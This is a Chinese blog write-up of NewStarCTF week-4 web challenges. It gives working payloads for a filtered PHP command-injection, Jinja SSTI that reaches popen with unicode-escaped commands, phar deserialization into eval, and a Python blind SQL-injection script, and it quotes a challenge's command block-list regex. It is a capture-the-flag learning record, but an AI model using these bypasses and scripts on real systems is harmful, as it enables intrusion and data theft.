NewStarCTF 公开赛 第四周 学习记录

。。。这周属实给我整不会了。。。。。。。。。。说好的更简单的,misc一题没看懂。。。。就搞几题web,搞了一天多,之后剩下的不会了,去学习其他东西了,不过还是学习到不少东西

web

So Baby RCE

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
       echo "Don't Hack Me";
    }else{
        system($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

过滤的东西还是十分的多的,我一直想着构造/,给我整麻了,结果忘了它没过滤%0a属实是草率了。。。

因为%0a相当于;   在linux就是命令分隔符,我们可以构造语句,来到根目录就行,因为过滤fl这个的话就用未赋值的变量就行,列如:$1  没赋值的变量相当于空

pwd
//得到自己所在目录/var/www/html 

%0acd%09..%0acd%09..%0acd%09..%0als
//得到bin boot dev etc ffffllllaaaaggggg home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var  这个ffffllllaaaaggggg肯定是我们的目标了

%0acd%09..%0acd%09..%0acd%09..%0asort%09ffff$1llllaaaaggggg
//得到flag

BabySSTI_Two

详细一点可以看我的BabySSTI_One

这个我感觉比上面那个rce简单多了。。。。和BabySSTI_One没啥大区别感觉

只多过滤了一些命令还有双引号

所以我们用[]

{{[]['__cl''ass__']['__ba''se__']['__subc''lasses__']()}}

先看看危险函数在那里

还是在117

{{[]['__cl''ass__']['__ba''se__']['__subc''lasses__']()[117]['__in''it__']['__glo''bals__']['po''pen']('ls').read()}}

 但是想进行下一步操作,突然发现他对这个命令执行,有好多过滤,但是ssti可以有编码绕过

{{[]['__cl''ass__']['__ba''se__']['__subc''lasses__']()[117]['__in''it__']['__glo''bals__']['po''pen']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064').read()}}

UnserializeThree

题目介绍的就挺明白了吧,文件上传和反序列化,这不就是phar吗。

就只有上传文件的地方吗,先看看哪里有,要反序列化的东西,看看源代码 =_=

找到提示了,看看class.php得到

 <?php
highlight_file(__FILE__);
class Evil{
    public $cmd;
    public function __destruct()
    {
        if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
            //Same point ,can you bypass me again?
            eval("#".$this->cmd);
        }else{
            echo "No!";
        }
    }
}

file_exists($_GET['file']); 

这里我们分析,上传的文件通过file读取,要绕过#,进行命令执行

这里这样使用

<?php

class Evil
{
    public $cmd="\rsystem('ls /');";
}

$a = new Evil();

$phar = new Phar("test.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");

$phar -> setMetadata($a);

$phar -> addFromString("test.txt", "test");
$phar -> stopBuffering();

因为要绕过单行注释#,但是因为\n被过滤了,这里我们使用\r

你这个运行以后就会多出来一个test.phar文件

上传test.phar之前,直接把后缀改成gif,因为他上传还有过滤,而且后缀不会产生什么影响的

 这里我们使用phar://协议

接下来更改一下上面的PHP文件就行了,cat /flag就行了

又一个SQL

经过尝试没有任何回显,过滤的东西也很少,在使劲使劲,发现是盲注

这里有脚本给大家

import requests
import time

s = requests.Session()
url = 'http://fdb4abae-cc0f-46bb-a8e3-eafaa4781466.node4.buuoj.cn:81/comments.php'
flag = ''
i = 0
d = 0
while d == 0:
    i = i + 1
    low = 32
    high = 128
    while low < high:
        l = (low + high) // 2
        # payload = f"1^(ascii(substr((select(database())),{i},1))>{l})"
        # payload = f"1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{l})+'0"
        # payload = f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{l})"
        # payload = f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),{i},1))>{l})"
        payload = f"1^(ascii(substr((select(text)from(wfy_comments)where(user='f1ag_is_here')),{i},1))>{l})"
        da = {
            "name": payload
        }
        r = s.post(url=url, data=da)
        r.encoding = "utf-8"
        print(payload)
        if '耶' in r.text:
            high = l
        else:
            low = l + 1
        time.sleep(0.2)
    if low != 32:
        flag += chr(low)
        print(flag)
    else:
        break
print(flag)

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

练习两年半的篮球选..哦不对安全选手

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值